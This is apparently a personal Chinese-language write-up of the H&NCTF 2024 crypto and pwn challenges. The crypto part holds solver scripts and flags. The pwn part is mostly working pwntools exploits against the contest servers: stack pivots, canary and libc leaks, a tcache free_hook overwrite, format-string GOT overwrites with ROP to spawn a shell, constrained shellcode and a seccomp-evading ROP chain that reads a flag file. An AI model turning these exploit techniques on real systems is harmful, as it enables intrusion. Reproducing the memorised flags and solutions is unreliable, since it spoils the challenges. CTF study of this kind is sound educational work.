[H&NCTF 2024] crypto/pwn

周日的比赛,赛后拿别人的WP又作了俩,最后一个题也是没弄懂,先记一下吧。

Crypto

EZmath

一个简单的函数题。在sagemath里有个two_squares函数,可以从平方和恢复两个规模相近的数。这种比较适合于RSA里的p,q。另外未知的e用来猜,一点意思都没有。

from Crypto.Util.number import *
flag = b'Kicky_Mu{KFC_v_me_50!!!}'
p = getPrime(256)
q = getPrime(256)
n = p*q^3
e = # what is usually used ?
N = pow(p, 2) + pow(q, 2)
m = bytes_to_long(flag)
c = pow(m,e,n)

print(c)
print(N)

c = 34992437145329058006346797890363070594973075282993832268508442432592383794878795192132088668900695623924153165395583430068203662437982480669703879475321408183026259569199414707773374072930515794134567251046302713509056391105776219609788157691337060835717732824405538669820477381441348146561989805141829340641
N = 14131431108308143454435007577716000559419205062698618708133959457011972529354493686093109431184291126255192573090925119389094648901918393503865225710648658
e = 65537
p,q = two_squares(N)
m = pow(c, inverse(e,(p-1)*(q-1)),p*q)
long_to_bytes(int(m))
#b'H&NCTF{D0_Y0u_know_Complex_n3mbers?hahaha}'

f = (? * ?)

给了3个文件,一个cipher.txt猜是密文(这也不用猜)另外两个都有400多行,猜是p,q的位,显然可以很容易区分0,1。然后再猜个e。为什么总让猜e?

from Crypto.Util.number import *
from base64 import *

c = bytes_to_long(b64decode('ve9MPTSrRrq89z+I5EMXZg1uBvHoFWBGuzxhSpIwu9XMxE4H2f2O3l+VBt4wR+MmPJlS9axvH9dCn1KqFUgOIzf4gbMq0MPtRRp+PvfUZWGrJLpxcTjsdml2SS5+My4NIY/VbvqgeH2qVA=='))

p = int(''.join(['1' if i[0]=='3' else '0' for i in open('file1.txt','r').read().split('\n') ]),2)
q = int(''.join(['1' if i[0]=='6' else '0' for i in open('file2.txt','r').read().split('\n') ]),2)
print(isPrime(p))
m = pow(c, inverse(65537,(p-1)*(q-1)),p*q)
print(long_to_bytes(m))
#H&NCTF{Y0u_s@cce3d3d_in_finding_the_meaning_0f_these_d0cuments}

*ez_Classic

比赛中没作出来,全是中文的乱码,记得作过想不起来了,后来想起来是base65536,解完是另一种乱码。

后来知道是base2048,好在都有在线网站。说起来这个东西python库还会报错。

 

后边是DNA加密,不过在线网站也不大灵了。需要处理一下。其实还不如自己处理,DNA就是4进制的BASE64变表,3个一组。

c ="GAC & GCT CTA GTC CTT { CTA AGT AAA CAG CAG AGA AAG & AGT _ AAG CAC CGA ATT CAT TTC _ AGT CAG _ CAG TTC _ AGA ATC CAT TCG CAC ACA CAG CAT @ ATC ACG }"

dic = 'ACGT'
d = ''
for i in c.split():
    if len(i)==3:
        v = dic.index(i[0])*16 + dic.index(i[1])*4 + dic.index(i[2])
        if v<26:
            d += chr(0x61 + v)
        elif v<52:
            d += chr(0x41 + v-26)
        else:
            d += chr(0x30 + v-52)
    else:
        d += i 

print(d)
#H&NCTF{Classic&l_crypt9_ls_s9_int2rest@ng}

 MatrixRSA

矩阵的RSA,这个没见过,搜了下,得到一个论文。https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf

里边请到phi的生成。

\phi =(p^{2}-1)(p^{2}-p)(q^{2}-1)(q^{2}-q)

然后就当是普通的RSA作就行了。n很小一切问题都解决了。

from Crypto.Util.number import *
import os

flag = b"H&NCTF{??????????????}" + os.urandom(73)

p = getPrime(56)
q = getPrime(56)
n = p * q

part = [bytes_to_long(flag[13*i:13*(i+1)]) for i in range(9)]

M = Matrix(Zmod(n),[
    [part[3*i+j] for j in range(3)] for i in range(3)
])

e = 65537
C = M ** e
print(f"n = {n}")
print(f"C = {list(C)}")
n = 3923490775575970082729688460890203
C = [(1419745904325460721019899475870191, 2134514837568225691829001907289833, 3332081654357483038861367332497335), (3254631729141395759002362491926143, 3250208857960841513899196820302274, 1434051158630647158098636495711534), (2819200914668344580736577444355697, 2521674659019518795372093086263363, 2850623959410175705367927817534010)]

#https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf
p,q = 56891773340056609,68964114585148667
phi = (p^2-1)*(p^2-p)*(q^2-1)*(q^2-q)
d = inverse(e,phi)

M = matrix(Zmod(n), C)
m = M^d 

flag = b''
for i in range(3):
    for j in range(3):
        flag+= long_to_bytes(int(m[i,j]))

#H&NCTF{58bff5c1-4d5f-4010-a84c-8fbe0c0f50e8}

BabyAES

就是爆破一个种子。对于4字节整形来说多大都可以整。关键是这题有提示,就是压缩包有文件的时期,这大概就没多大范围了。不过这里又有个问题,就是压缩包里的文件时间比密文生成时间早。它怎么压进去的呢?

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag
import time
import random

flag = pad(flag,16)
assert b"H&NCTF" in flag

seed = int(time.time())
random.seed(seed)
key = random.randbytes(16)
iv = random.randbytes(16)
aes = AES.new(key,AES.MODE_CBC,iv)
cipher = aes.encrypt(flag)

print(f"cipher = {cipher}")


cipher = b'\x96H_hz\xe7)\x0c\x15\x91c\x9bt\xa4\xe5\xacwch\x92e\xd1\x0c\x9f\x8fH\x05\x9f\x1d\x92\x81\xcc\xe0\x98\x8b\xda\x89\xcf\x92\x01a\xe1B\xfb\x97\xdc\x0cG'
import random 
from Crypto.Cipher import AES

def decrypt(seed):
    random.seed(seed)
    key = random.randbytes(16)
    iv = random.randbytes(16)
    aes = AES.new(key,AES.MODE_CBC,iv)
    flag = aes.decrypt(cipher)
    if b'CTF' in flag or b'flag' in flag:
        print(seed, flag)

#time.mktime((2020,8,21,7,57,0,0,0,0)) 压缩包文件时间2020/08/21/7/57
seed0 = 1597967820
for i in range(10000):
    decrypt(seed0+i)

#b'H&NCTF{b1c11bd5-2bfc-404e-a795-a08a002aeb87}\x04\x04\x04\x04' 

BabyPQ

这是个签到,给了n,phin求p,突然卡了一下,phin是啥!一般写成phi.把这俩p,q粘上去就OK了。

from z3 import *
s = Solver()
p,q = Ints('p q')
s.add(p*q == n)
s.add((p-1)*(q-1) == phin)
s.check()

s.model()
[p = 12370845391995175823157683147097330251170029016368566631878046736457097428499577053796506306362132716974919832972869704679166006275456266374842381146018047,
 q = 11499958845050907949092531453369314187038648586725679612623212725700789220246787356177904738256529698491399380706600388366483468308822299193842842035815201]

还有一个3解题,两个0解题不会。估计也就不会了。因为拿到WP,那个3解题看不懂。

PWN

close

这个程序不用写的。代码里关了1,只要重定向到0上就OK

└─$ nc hnctf.imxbt.cn 29879
exec 1>&0
ls
bin
dev
easypwn
flag
lib
lib32
lib64
libexec
libx32
cat flag
H-NCTF{ca2cb422-3035-4827-b1e8-2acf3b43ea27}

ez_pwn

32位能溢出到ebp ,输入两次。

int vul()
{
  char s[40]; // [esp+0h] [ebp-2Ch] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

第1次填充到ebp带出,第2次覆盖ebp移栈。

from pwn import *

context(arch='i386', log_level='debug')

'''
0xffffcf94│+0x0000: 0x00000000   ← $esp
0xffffcf98│+0x0004: 0xffffcfa0  →  0x00000a41 ("A\n"?)
0xffffcf9c│+0x0008: 0x00000030 ("0"?)
0xffffcfa0│+0x000c: 0x00000a41 ("A\n"?)
0xffffcfa4│+0x0010: 0x00000000
0xffffcfa8│+0x0014: 0x00000000
0xffffcfac│+0x0018: 0x00000000
0xffffcfb0│+0x001c: 0x00000000
0xffffcfb4│+0x0020: 0x00000000
0xffffcfb8│+0x0024: 0x00000000
0xffffcfbc│+0x0028: 0x00000000
0xffffcfc0│+0x002c: 0x08048670  →  <__libc_csu_init+0> push ebp
0xffffcfc4│+0x0030: 0xf7ffcb80  →  0x00000000
0xffffcfc8│+0x0034: 0x0804a000  →  0x08049f0c  →  0x00000001
0xffffcfcc│+0x0038: 0xffffcfd8  →  0x00000000    ← $ebp
0xffffcfd0│+0x003c: 0x08048661  →  <main+40> mov eax, 0x0
0xffffcfd4│+0x0040: 0xf7e1cff4  →  0x0021cd8c
0xffffcfd8│+0x0044: 0x00000000
0xffffcfdc│+0x0048: 0xf7c23295  →  <__libc_start_call_main+117> add esp, 0x10
0xffffcfe0│+0x004c: 0x00000001
'''

elf = ELF('./pwn1')
#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 36897)

#gdb.attach(p, "b*0x8048637\nc")
p.sendafter(b'?\n', b'A'*0x2c)
p.recvuntil(b'A'*0x2c)
stack = u32(p.recv(4)) - 0x38

p.sendafter(b'\n', flat(elf.plt['system'],0,stack+0xc, b'/bin/sh\x00').ljust(0x2c,b'\x00')+p32(stack-4))

p.interactive()

idea

负数绕过和短的格式化字符串

int vuln()
{
  int v1; // [esp+8h] [ebp-30h]
  char nptr[32]; // [esp+Ch] [ebp-2Ch] BYREF
  unsigned int v3; // [esp+2Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("How many bytes do you want me to read? ");
  get_n((int)nptr, 4u);
  v1 = atoi(nptr);
  if ( v1 > 32 )
    return printf("No! That size (%d) is too large!\n", v1);// 负数绕过
  puts("Ok, sounds good. I'll give u a gift!");
  gift();                                       // 格式化字符串6字节
  printf("Give me %u bytes of data!\n", v1);
  getchar();
  get_n((int)nptr, v1);
  return printf("What you said is: %s\n", nptr);
}
from pwn import *

context(arch='i386', log_level='debug')

elf = ELF('./idea')
#libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('/home/kali/glibc/libs/my/libc6-i386_2.23-0ubuntu11.3_amd64.so')

#p = process('./idea')
p = remote('hnctf.imxbt.cn', 45299)

#1
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')

#leak canary 
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%23$p')
canary = int(p.recvuntil(b"Give me", drop=True),16)
print(f"{canary= :x}")

p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.sym['_start']))

#2
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')

#gdb.attach(p, "b*0x804870b\nc")
#leak libc 
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%31$p')
libc.address = int(p.recvuntil(b"Give me", drop=True),16) - 0x18647
print(f"{libc.address = :x}")
bin_sh = next(libc.search(b'/bin/sh\0')) #libc.address + 0x15910b

p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.sym['_start']))

#3 stack
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')

#leak canary 
#gdb.attach(p, "b*0x804870b\nc")
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%10$p')
stack = int(p.recvuntil(b"Give me", drop=True),16) - 0x2c
print(f"{stack = :x}")
#gdb.attach(p, "b*0x804870b\nc")
#p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.plt['puts'],0,elf.got['printf']))
p.sendlineafter(b"bytes of data!\n", b'/bin/sh'.ljust(0x20, b'\x00')+flat(canary,0,0,0,libc.sym['system'],0,bin_sh))

p.interactive()

'''
0xffffcf60│+0x0000: 0x08048800  →  <__libc_csu_init+0> push ebp  ← $esp
0xffffcf64│+0x0004: "%8$p"
0xffffcf68│+0x0008: 0xffffcf00  →  0x00000000
0xffffcf6c│+0x000c: 0xf945c100
0xffffcf70│+0x0010: 0x080488e4  →  "Ok, sounds good. I'll give u a gift!"       #4
0xffffcf74│+0x0014: 0x00000004
0xffffcf78│+0x0018: 0xffffcfb8  →  0xffffcfc8  →  0x00000000     ← $ebp         #ebp
0xffffcf7c│+0x001c: 0x08048781  →  <vuln+116> sub esp, 0x8                      #ret
0xffffcf80│+0x0020: 0xffffcfb8  →  0xffffcfc8  →  0x00000000
0xffffcf84│+0x0024: 0xf7fdb8d0  →  <_dl_runtime_resolve+16> pop edx
0xffffcf88│+0x0028: 0xffffffff
0xffffcf8c│+0x002c: 0xf700312d ("-1"?)                                          #nptr
0xffffcf90│+0x0030: 0x08048800  →  <__libc_csu_init+0> push ebp
0xffffcf94│+0x0034: 0xf7ffcb80  →  0x00000000
0xffffcf98│+0x0038: 0xffffcfb8  →  0xffffcfc8  →  0x00000000
0xffffcf9c│+0x003c: 0x080486b2  →  <init+59> add esp, 0x10
0xffffcfa0│+0x0040: 0x08048880  →  "Welcome to H&NCTF~!"
0xffffcfa4│+0x0044: 0x00000000
0xffffcfa8│+0x0048: 0x00000001
0xffffcfac│+0x004c: 0xf945c100                                                  #canary
0xffffcfb0│+0x0050: 0xffffcff0  →  0xf7e1cff4  →  0x0021cd8c
0xffffcfb4│+0x0054: 0xf7fc1728  →  0xf7ffdbac  →  0xf7fc1840  →  0xf7ffda40  →  0x00000000
0xffffcfb8│+0x0058: 0xffffcfc8  →  0x00000000
0xffffcfbc│+0x005c: 0x080487ee  →  <main+27> add esp, 0x4                       #main_ret
0xffffcfc0│+0x0060: 0x00000001
0xffffcfc4│+0x0064: 0xffffcfe0  →  0x00000001
0xffffcfc8│+0x0068: 0x00000000
0xffffcfcc│+0x006c: 0xf7c23295  →  <__libc_start_call_main+117> add esp, 0x10

'''

what

这也不是个难题,之所以答的人少是因为卡在flag和后台的不一样,然后提供了3种壳,都不是。后来提示改了。官方手抖,在头上输入了个\

libc-2.27 是个最受欢迎的版本。漏洞最好打了,还有UAF。先free 8块得到libc然后tcache attack向free_hook写system再free带/bin/sh的块。

唯一的卡点是个计数。可以忽略。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.27.so')

cmd = "Enter your command:\n"
def add(size):
    p.sendlineafter(cmd, b'1')
    p.sendlineafter(b"size:\n", str(size).encode())

def free():
    p.sendlineafter(cmd, b'2')

def show(idx):
    p.sendlineafter(cmd, b'3')
    p.sendafter(b"please enter idx:\n", str(idx).encode())
    p.recvuntil(b"Content:")

def edit(idx, msg):
    p.sendlineafter(cmd, b'4')
    p.sendafter(b"please enter idx:\n", str(idx).encode())
    p.sendafter(b"Please enter your content:\n", msg)


#p = process('./what')
p = remote('hnctf.imxbt.cn', 21554)

for i in range(8):
    add(0x100)

for i in range(8):
    free()

show(0)
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

for i in range(2):
    add(0x20)

free()
edit(1, p64(libc.sym['__free_hook']))
add(0x20)
add(0x20) #2 free_hook
edit(2, flat(libc.sym['system']))
add(0x10)
edit(3, b'/bin/sh\x00')
#gdb.attach(p)
#pause()


free()
p.sendline(b'cat flag')
p.interactive()
#H&NCTF{ef997eaf-df1d-4aed-af33-f57b8afbe678}

beauty

代码很难看。这也是这题唯一的卡点。

一开始让输入名字,这里有个指针前溢出,可以向前写到可写的got表

int sub_156E()
{
  puts("Please input your idx:");
  __isoc99_scanf(&aD, &dword_4164);
  puts("Please input your name:");
  byte_4158[dword_4164] = read(0, byte_40E0, 0x78uLL);
  return printf(&aS, byte_40E0);
}

后边有4个菜单,只有一个有用。这里调用了atoi,通过前边的溢出将未初始化的got表里的atoi改成printf,这样就得到一个格式化字符串漏洞,而且在栈里。这就好办了。

另外一个干扰项就是菜单3有个溢出,可以修改stack_chk_fail在这里造溢出覆盖canary,但由于有检查到不了这。

from pwn import *

context(arch='amd64', log_level='error')
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')

#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 46327)

#4158[4164]=len
#4060 got.atoi xxx60->printf xxx70
p.sendlineafter(b"Please input your idx:", str(-0xf8).encode())
p.sendafter(b"Please input your name:", b'\x00'*0x70)

def go_printf(pay):
    p.sendlineafter(b'\x99\xe5\xa5\xb3\n', b'4')
    p.recvuntil(b"Would you choose me if you had to do it all over again?\n")
    p.sendline(str(0x79).encode())
    p.sendline(str(0x165).encode())
    p.sendline(str(0x173).encode())
    p.send(pay.ljust(0x20, b'\x00'))

#gdb.attach(p, "b*0x555555555361\nc")

go_printf(b'%11$p,%43$p,%30$p,%13$p,')
p.recvuntil(b'0x')
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x80 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16) - 0x110
elf.address = int(p.recvuntil(b',', drop=True),16) - 0x18b2
print(f"{canary = :x} {libc.address =:x} {stack = :x} {elf.address =:x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])

for i,v in enumerate(rop):
    if v == 0:
        pay = b"%9$hhn".ljust(0x18,b'.') + p64(stack+i)
    else:
        pay = f"%{v}c%9$hhn".encode().ljust(0x18,b'.') + p64(stack+i)
    go_printf(pay)

#jmp_2_return
context.log_level = 'debug'
pay = b'....%9$n'.ljust(0x18,b'.') + p64(elf.address + 0x4160)
go_printf(pay)
p.sendline(b'cat flag')

p.interactive()

*hide_flag_

这题赛后问师傅,说打call。

是个shellcode题,难点在于检查一定要偶奇偶奇。syscall 0f05就用不上了,好在有call rax,call rcx。

然后原理就简单了,只是作起来麻烦。在没看WP的情况下自己终于弄出来了。再看WP发再方法不很聪明。

1,利用栈残留的数据通过加减行在rax造个open/getdents64/write然后是重来造个open/pread64/write

2,运行完一个call后最后的地址会在rcx里

3,偶数和可数的填充用nop,gs,我用的cmp就是长点,好在容易理解,还有个cdq这会破坏rdx,如果在rdx不用的情况下可行。因为不清楚gs是干什么的,不敢用,类似的cmc,cld还有好多都不敢用。

4,shl rax,7;xchg rax,rcx;sub rax,rcx 也是一种造指针的方法

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 43649)

'''
pay = ''
#rax + 0xea750
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;'  #rax = 0x00007ffff7c29d90
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; '  #rax + 0xf4d10
pay += 'sub al,0x1; sub al,0x1;'  #rax = open
pay += 'push 0x2f; push rsp; pop rdi; '  #rdi->.
pay += 'xor rsi,rsi; cmp eax,0x33323130; push rdx; ' #rsi = 0
#open(buf,0)
pay += 'call rax;'  #call rax

#getdents64(int fd, void dirp[.count], size_t count)
pay += 'push rcx; push rax; pop rdi; ' #rdi=3
#rax = rcx - 0x2df0b 
pay += 'pop rax; cmp eax,0x33323130; sub rax,0x0102df0a; add rax,0x01000100; sub rax, 0x71;sub rax, 0x71; sub al,0x1f;'
pay += 'push rax;push rbp;pop rsi;cdq;'
pay += 'push 0x3; pop rax;cdq; shl rax,9; push rax; cdq; pop rdx; cmp eax,0x33323130; push rdx;' #rdx = 0x600
pay +=   'xchg rax,r14; cmp eax,0x33323130; add ax, 0x0302; push rax; cmp eax,0x33323130; pop rsi;pop rbx;'
pay += 'pop rax; call rax; cmp eax,0x33323130; '

#write
pay += 'push 0x1; nop; pop rdi;'  #rdi=1
#rax = rcx+0x2e229
pay += 'xchg rax,rcx; add rax,0x0102e328; sub rax,0x01000100; add al,0x1;'
pay += 'nop; call rax;'
'''

#F1@g520
#open()
pay = ''
#rax + 0xea750
#       58      59      58      59       58       59 
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;'  #rax = 0x00007ffff7c29d90
#       4805  6ea70e01      482d 00010001       4883c071      4883c073 
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; '  #rax + 0xf4d10
#       2c01        2c01        50       xx
pay += 'sub al,0x1; sub al,0x1; push rax;cmp eax,0x33323130;'  #rax = open
#       48b9 4631 4067 3633 3001    6a01     58      3d 3031 3233       48c1e02d   48c1e003  4891          4829c8      xx
pay += 'mov rcx,0x0130333667403146; push 0x1;pop rax;cmp eax,0x33323130;shl rax,53;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130;'
#       4891          6a01     58      3d 3031 3233       48c1e025   48c1e003  4891          4829c8 
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,37;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,29;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
#       56      59      50                            54        5f       4889f0       51
pay += 'pop rsi;pop rcx;push rax; cmp eax,0x33323130; push rsp; pop rdi; mov rax,rsi; push rcx;'  #rdi->F1@g520\0
#       4831f6                           
pay += 'xor rsi,rsi;' #rsi = 0
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax

#pread rax = rcx - 0x1e0b
#       51       58      51        662d001f       4883c059
pay += 'push rcx;pop rax;push rcx; sub ax, 0x1f00;add rax,89;add rax,89; add rax,67;' #rax=pread64
#       6a03    90   5f      6a71      5a      53        90   59       90
pay += 'push 3; nop; pop rdi;push 0x71;pop rdx;push rbx; nop; pop rcx; nop;' #rdi=3, rdx=0x71
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax

#write rax = rcx+0x2126
#       51       58      51        662d2621      
pay += 'push rcx;pop rax;push rcx; add ax, 0x2126;' #rax=pread64
#       6a01   90  5f      90
pay += 'push 1;nop;pop rdi;nop;'
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax


#gdb.attach(p, "b*0x5555555554a4\nc")
p.sendafter(b"Please find flag's name\n", asm(pay))

p.interactive()
#H-NCTF{H1D3F1@g_d3e9fa6f-5baf-4af6-8c2e-2b7650cd55fa}

*Rand_file_

这个也说不成复现,基本就是拿着WP抄的。因为中间重要的一段不明白。只能照葫芦画。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v4; // [rsp+Bh] [rbp-25h]
  int i; // [rsp+Ch] [rbp-24h]
  __int64 ptr; // [rsp+10h] [rbp-20h] BYREF
  __int64 v7; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  set_rule();
  while ( 1 )
  {
    write(1, "11? >\n", 6uLL);
    v7 = read_long();
    write(1, "77! >\n", 6uLL);
    v8 = read_long();
    if ( !v7 && !v8 )
      break;
    sub_1400(&ptr + v7, &ptr + v8);
  }
  ptr ^= __readfsqword(0x28u);
  for ( i = 0; i <= 3; ++i )                    // ptr逆序
  {
    v4 = *((_BYTE *)&ptr + i);
    *((_BYTE *)&ptr + i) = *((_BYTE *)&ptr + 7LL - i);
    *((_BYTE *)&ptr + 7LL - i) = v4;
  }
  fwrite(&ptr, 1uLL, 8uLL, stdout);
  fflush(stdout);
  write(1, "\n", 1uLL);
  return 0LL;
}

代码就这么一点,先是允许两丙格互换,然后是把ptr的值与canary(特制的无0且对称)异或后反转输出。

目标就是构造个pop_rdi,xxx,gets。

看WP是通过写IO结构,因为不大明白就略了。

泄露这块很容易,拿偏移互换后就能输出,然后把libc_start_main_ret换回到start就能重入。

造gets,pop_rdi这块略,在栈里找个尾号为a或2的位置,把gets的值改造一下写,再与IO_2_1_stdout_+0x28的值换换就换到栈里了,原理不明白。

然后在栈里构造个pop_rdi,栈里可写地址(WP里叫bss不是实际在栈里),gets读入。再把这些rop换到当前的返回地址。再重入

读入的ROP移到返回地址这执行。由于seccomp有限制这里用openat绕过open,用close(2)关掉错误输出把文件打开到2,然后读目录得到文件名。再用相同方法读文件即可。

from pwn import *

context(arch='amd64', log_level='error')
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')

stack_ptr = 0
off = 0xe0
canary = 0
misal = 0 
lastm = 0

def swap(idx1,idx2):
    p.sendlineafter(b'11? >\n', str(idx1).encode())
    p.sendlineafter(b'77! >\n', str(idx2).encode()) 

def stop():
    global stack_ptr
    swap(0,0)
    stack_ptr -= off 
    
def leak(idx, idx2=0):
    swap(5,12) #swap 5,12 return to start
    swap(idx, idx2) 
    stop() 
    return canary^u64(p.recv(8)[::-1])

def change(addr):
    addr = ((addr>>8)&0xff)|((addr&0xff)<<8)
    addr^= canary&0xffff 
    addr = 0x10000 - addr 
    print(f"{-addr = :x}")
    return -addr 

#find an address where last 4bit is 2/10 in stack from *environ
def get_misal():
    global lastm
    for i in range(0x40):
        a = leak((stack_environ - stack_ptr)//8 + lastm + i)
        if a&0xf == 2 or a&0xf == 0xa:
            leak((heap - stack_ptr)//8,0)
            leak((heap - stack_ptr)//8, (stack_environ - stack_ptr)//8 )
            if i>0:
                lastm += i+1
            return a
    else:
        print('Error')
        exit()
    
#p = process('./run')
p = remote('hnctf.imxbt.cn', 20458)

canary = leak(4)
libc.address =  leak(12) - 243 - libc.sym['__libc_start_main']
stack_ptr = leak(7) - 0x118 - off
stack_environ = leak((libc.sym['environ'] - stack_ptr)//8)
heap = leak((libc.sym['obstack_exit_failure']-0x28 - stack_ptr)//8) + 0x2620 #mp_.heap_base  chunk_411.fd
print(f"{canary = :x} {libc.address = :x} {stack_ptr = :x} {stack_environ = :x} {heap = :x}")

stdout_write_ptr = libc.sym['_IO_2_1_stdout_'] + 0x28 
fun_gets = libc.sym['gets']                 # 0x7ffff7e38970
pop_rdi = libc.address + 0x00000000000820ac # 0x7ffff7e370ac pop rdi ; ret
pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000119431 # pop rdx ; pop r12 ; ret
pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
syscall = libc.sym['getpid'] + 9 # syscall ret

#write gadget to stack
misal = get_misal()
print(f"{misal = :x}")
swap(2, change(fun_gets))
swap(0, change(fun_gets))
swap((misal - 2 - stack_ptr + 8) // 8, 21)
swap((stack_environ - stack_ptr) // 8, (stdout_write_ptr - stack_ptr) // 8)
swap(5, 12)
stop()
off_gets = misal + 6
print(f"{off_gets = :x}")

misal = get_misal()
print(f"{misal = :x}")
swap(2, change(pop_rdi))
swap(0, change(pop_rdi))
swap((misal - 2 - stack_ptr + 8) // 8, 21)
swap((stack_environ - stack_ptr) // 8, (stdout_write_ptr - stack_ptr) // 8)
swap(5, 12)
stop()
off_pop_rdi = misal + 6 
print(f"{off_pop_rdi = :x}")

bss = leak(13) #stack write payload
leak(0, (heap - stack_ptr)//8)
leak((stack_environ - stack_ptr)//8, (heap - stack_ptr)//8 )

context.log_level = 'debug'
print(f"{off_gets = :x} {off_pop_rdi = :x} {stack_environ = :x} {bss = :x}")

#ROP gets
swap(5, (off_pop_rdi - stack_ptr)//8)
swap(6, (stack_environ - stack_ptr)//8)
swap(7, (off_gets  - stack_ptr)//8)
swap(8,12)
stop()

#get_rop  readdir
'''
paylen = 0xf0
pay = flat([
    pop_rdi,2, pop_rax,3, syscall, #close(2)
    pop_rdi,0, pop_rsi, bss+paylen, pop_rdx,0x10000,0, pop_rax,257, syscall, #openat(0,&'.',0x10000)
    pop_rdi,2, pop_rsi, bss+paylen, pop_rdx,0x1000,0, pop_rax,78, syscall, #getdents64(2,&'.', 0x400)
    pop_rdi,1, pop_rax,1, syscall, #write(1,&'.', 0x400)
])
print(f"{len(pay) = :x}")

pay += b'/tmp\0'
'''
paylen = 0xf0
pay = flat([
    pop_rdi,2, pop_rax,3, syscall, #close(2)
    pop_rdi,0, pop_rsi, bss+paylen, pop_rdx,0,0, pop_rax,257, syscall, #openat(0,&'.',0x10000)
    pop_rdi,2, pop_rsi, bss+paylen, pop_rdx,0x50,0, pop_rax,0, syscall, #read(2,&'.', 0x400)
    pop_rdi,1, pop_rax,1, syscall, #write(1,&'.', 0x400)
])
print(f"{len(pay) = :x}")
pay += b'/tmp/flag_6f36aa6e9fe2a6c582bb4d43bca8563a\0'

p.sendline(pay)  #read payload->bss

#gdb.attach(p, "b*0x5555555556e0\nc")

stack_ptr += 0x20 #pop_rdi,bss,gets,start
for i in range(paylen//8):
    swap(5+i, (bss - stack_ptr)//8 +i)

stop()

p.interactive()
#H-NCTF{randfile_1b1f0634-7252-4534-a238-4e5a74042989}
'''
gef➤  tel 20
0x00007fffffffddd0│+0x0000: 0x00007ffff7fa62e8   ← $rsp
0x00007fffffffddd8│+0x0008: 0x00005555555556f0  
0x00007fffffffdde0│+0x0010: 0x0000000000000000   <- ptr
0x00007fffffffdde8│+0x0018: 0x0000555555555200      1
0x00007fffffffddf0│+0x0020: 0x00007fffffffdef0      2
0x00007fffffffddf8│+0x0028: 0xef4e4b9a9a4b4eef      3           canary ABCDDCBA
0x00007fffffffde00│+0x0030: 0x0000000000000000   ←  4     $rbp
0x00007fffffffde08│+0x0038: 0x00007ffff7dd9083  →  <__libc_start_main+243> mov edi, eax   #5
0x00007fffffffde10│+0x0040: 0x00007ffff7ffc620      6
0x00007fffffffde18│+0x0048: 0x00007fffffffdef8      7
0x00007fffffffde20│+0x0050: 0x0000000100000000
0x00007fffffffde28│+0x0058: 0x000055555555553c  →   endbr64 
0x00007fffffffde30│+0x0060: 0x00005555555556f0  →   endbr64 
0x00007fffffffde38│+0x0068: 0x6e0fbb38972b3d66
0x00007fffffffde40│+0x0070: 0x0000555555555200                                            #12 start
0x00007fffffffde48│+0x0078: 0x00007fffffffdef0  →  0x0000000000000001
0x00007fffffffde50│+0x0080: 0x0000000000000000
0x00007fffffffde58│+0x0088: 0x0000000000000000
0x00007fffffffde60│+0x0090: 0x91f044c72b0b3d66
0x00007fffffffde68│+0x0098: 0x91f05483b7453d66

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0e 0xc000003e  if (A != ARCH_X86_64) goto 0016
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
